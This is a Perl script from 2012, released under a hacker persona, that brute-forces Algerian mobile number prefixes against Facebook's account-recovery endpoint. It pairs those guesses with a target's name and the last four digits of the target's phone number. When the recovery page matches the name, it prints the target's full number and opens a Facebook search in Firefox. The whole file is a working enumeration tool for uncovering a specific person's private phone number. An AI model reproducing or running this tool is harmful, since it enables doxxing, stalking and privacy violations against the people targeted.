#; Facebook phone number detecter by sadam213

#!/usr/bin/perl -w

#! by sadam213 speciale version for algeria numbers
#! release for public 20-12-2012
#! for more information  sadam213@live.fr
#! we D'ont need Opportunity to hack...we create the Opportunity we are hackerZ
#! demo video : http://www.youtube.com/watch?v=iYRW9gV6SDU

use strict;
use warnings;

use LWP::UserAgent;

sub post_url {
my( $url, $formref ) = @_;

# set up a UserAgent object to handle our request
my $ua = new LWP::UserAgent(timeout => 300);

$ua->agent('perlproc/1.0');

my $response = $ua->post($url, $formref );

if( $response->is_success ){
return $response->content;
} else {
return undef;
}
}

my $cant=0 ;
my $Backup_Count = 0;
sub back_and_print {
my $text = shift @_;  # no tabs, no newlines!

print "\b" x $Backup_Count;
print " " x $Backup_Count;
print "\b" x $Backup_Count;
$Backup_Count = length $text;
print $text;
}

my $red="\e[1;31m";
my $normal="\e[0m\n";


print "
------------------------------------------------------------
                                                            |
.%%%%%...%%%%%%.............. %%%%%..... %%....%%%%%%.      |
.%%..%%.....%%...............    %%...  %%%.......%%..      |
.%%..%%....%%........%%%%%%...%%%%..... %%......%%%..       |
.%%..%%...%%................  %%........%%........%%.       |
.%%%%%...%%%%%%.............. %%%%%%..%%%%%%..%%%%%..       |
                                                            |
|[+] Dz fb num Detecter                                     |
|[+] Sadam213|codes                |   sadam213[at]live[fr] |
|[+] GreetZ: to All Dz HackerZ                              |
------------------------------------------------------------
\n\n" ;

print "enter the name of Target : ";
my $name=<STDIN> ;
chomp($name) ;

print "enter the last 4 numbers : ";
my $number=<STDIN> ;
print "
choose the user operator

[1] djezzy
[2] Nedjma
[3] mobilis
[4] all (djezzy,nedjma,mobilis)

";
my $op=<STDIN> ;
print "$red [+]be sure that you are login to your facebook in firefox $normal type any key for beggin search ";
my $s=<> ;

if ($op =~ "1" or $op =~ "4") {
print "
===============================
scanning Djezzy numbers ..
===============================
" ;
for( my $i = 77000; $i<79999; $i++ ){
if ($i == "78000"){
$i="79000" ;
goto aa ;
}
my $url = "http://m.facebook.com/login/identify?ctx=recover";
my $num = "+213".$i.$number ;
my %param = ( 'email' => $num);

my $test = post_url( $url, \%param );


my $id ="" ;
my @test=[] ;

if ($test =~ m/$name/ ){

my @test = split />/ ,$test ;


if ($test[33] =~ m/(.*?)\</g ) {
$id = $1 ;


}

print"

=============================

[+]name of facebook is : $id
[+]phone number :  $num

=============================
";
system ('firefox https://www.facebook.com/search/results.php?q='.$num) ;
goto a  ;

}
else {
if ($test =~ m/suspect/ ){

$cant=$cant+ 1 ;
print "

[$cant]suspect => $num
";
system ('firefox https://www.facebook.com/search/results.php?q='.$num) ;

goto aa ;


}




else {
$|=1 ;
back_and_print( "" );

 }



}
aa:
}
}

#===========================nedjma================================

if ($op =~ "2" or $op =~ "4") {
print "
===============================
scanning Nedjma numbers ..
===============================
";
for( my $i = 55000; $i<55999; $i++ ){

my $url = "http://m.facebook.com/login/identify?ctx=recover";
my $num = "+213".$i.$number ;
my %param = ( 'email' => $num);

my $test = post_url( $url, \%param );
my $id ="" ;
my @test=[] ;

if ($test =~ m/$name/){
my @test = split />/ ,$test ;


if ($test[33] =~ m/(.*?)\</g ) {
$id = $1 ;
}

print"

=============================

[+]name of facebook is : $id
[+]phone number :  $num

=============================
";
system ('firefox https://www.facebook.com/search/results.php?q='.$num) ;
goto a  ;

}

else {
if ($test =~ m/suspect/ ){
$cant=$cant+ 1 ;
print "
[$cant]suspect => $num
";
system ('firefox https://www.facebook.com/search/results.php?q='.$num) ;

goto bb ;

}
else {
$|=1 ;
back_and_print( "" );

 }



}
bb:
}
}
#======================================mobilis========================

if ($op =~ "3" or $op =~ "4") {
print "
===============================
scanning mobilis numbers ..
===============================
" ;
for( my $i = 66100; $i<69999; $i++ ){
if ($i == "67000"){
$i="69900" ;
goto cc ;
}
my $url = "http://m.facebook.com/login/identify?ctx=recover";
my $num = "+213".$i.$number ;
my %param = ( 'email' => $num);

my $test = post_url( $url, \%param );

my $id ="" ;
my @test=[] ;

if ($test =~ m/$name/){
my @test = split />/ ,$test ;


if ($test[33] =~ m/(.*?)\</g ) {
$id = $1 ;
}

print"

=============================

[+]name of facebook is : $id
[+]phone number :  $num

=============================
";
system ('firefox https://www.facebook.com/search/results.php?q='.$num) ;

goto a ;

}

else {
if ($test =~ m/suspect/ ){
$cant=$cant+ 1 ;
print "
[$cant]suspect => $num
";
system ('firefox https://www.facebook.com/search/results.php?q='.$num) ;
goto cc ;

}
else {
$|=1 ;
back_and_print( "" );

 }



}
cc:
}
}


#=========================exite=============================
a:
print "search finish  " ;